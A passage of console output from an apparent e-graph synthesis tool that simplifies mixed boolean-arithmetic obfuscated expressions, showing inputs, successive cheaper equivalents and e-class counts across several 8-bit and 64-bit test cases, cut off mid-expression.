Synthesized (cost = 46): (((((~(x|y))^((y^z)&w))+(0x4*((z&y)-((w&x)&(z&y)))))+(((~(w|(x|z)))&y)*0x3))+(((y&(~(w|z)))&x)*0x4))
====================================================================================================
eclasses #: 2377
Synthesized (cost = 35): (((((~(w|(x|z)))&y)*0x3)+((~(x|y))^((y^z)&w)))+(0x4*((y&(x|z))-((w&x)&y))))
====================================================================================================
Non-Linear MBA with two 8 bits variables and one 8 bits constant
python3 synth.py
eclasses #: 30
Input (cost = 55): ((~(((-(~((~((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48))&((~(((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48)|0x2))^0x2))))+(-z))+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 39
Synthesized (cost = 22): ((~(((-(~((~(y+0x48))&((~((y+0x48)|0x2))^0x2))))-z)+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 70
Synthesized (cost = 21): ((~(((-((y+0x48)|(~((~((y+0x48)|0x2))^0x2))))-z)+0xfe))+0xff)
====================================================================================================
eclasses #: 137
Synthesized (cost = 16): (-((-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))-z))
====================================================================================================
eclasses #: 319
Synthesized (cost = 16): (~((~z)-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2)))))
====================================================================================================
eclasses #: 804
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 1907
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 7293
Synthesized (cost = 5): ((0x48+y)+z)
====================================================================================================
Non-Linear MBA with two 8 bits variables and two 8 bits materialized constants
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 28
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 125
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 499
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 2163
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 17036
Synthesized (cost = 11): ((0x3+(x&y))+((x&y)*0x3))
====================================================================================================
eclasses #: 255439
Synthesized (cost = 7): (0x3+(0x4*(x&y)))
e-graph reset done.
====================================================================================================
Polynomial MBA (MBA-Obfuscator) with three 8 bits variables
python3 synth.py --use-mba-blast-before --mba-blast-logic=1
Original: ((((((((((((((((z^((~x)&(y|z)))*0x8)*(x&y))-(((z^((~x)&(y|z)))*0x18)*(x&(~y))))+(((z^((~x)&(y|z)))*0x4)*(~(x|y))))-(((z^((~x)&(y|z)))*0x14)*(~(x|(~y)))))-(((~(x&(y&z)))*0x1e)*(x&y)))-(((~(x&(y&z)))*0xc)*(x&(~y))))+(((~(x&(y&z)))*0x24)*(x|y)))-(((~(x&(y&z)))*0x6)*(~(x^y))))+(((~(x&(y&z)))*0x9)*(~(x|y))))-(((~(x&(y&z)))*0xf)*(~(x|(~y)))))+(((z^((~x)&(y|z)))*0x1c)*(x^y)))-(((z^((~x)&(y|z)))*0x4)*y))-(((~(x&(y&z)))*0x15)*(x^y)))+(((~(x&(y&z)))*0x3)*y))
MBA-Blast: ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
eclasses #: 23
Input (cost = 41): ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 31): (0xff*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 40
Synthesized (cost = 28): (-(((((0x4*(y-(x&y)))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 79
Synthesized (cost = 26): (-((((0x4*((y-(x&y))+(x&z)))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 209
Synthesized (cost = 17): (0x3-((0x4*((x^y)&(y^z)))+((x&y)&z)))
====================================================================================================
eclasses #: 827
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
eclasses #: 8319
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
Polynomial MBA (normal, 3rd degree) with three 8 bits variables
python3 synth.py
eclasses #: 44
Input (cost = 825): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 57
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 89
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 140
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 267
Synthesized (cost = 359): ((((((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((0x18*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))+0xd8))+(((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 715
Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 2485
Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 12854
Synthesized (cost = 21): ((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#16)
python3 synth.py
eclasses #: 157
Input (cost = 7388): ((-(((((-0x3399e33c88a2571)-((((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-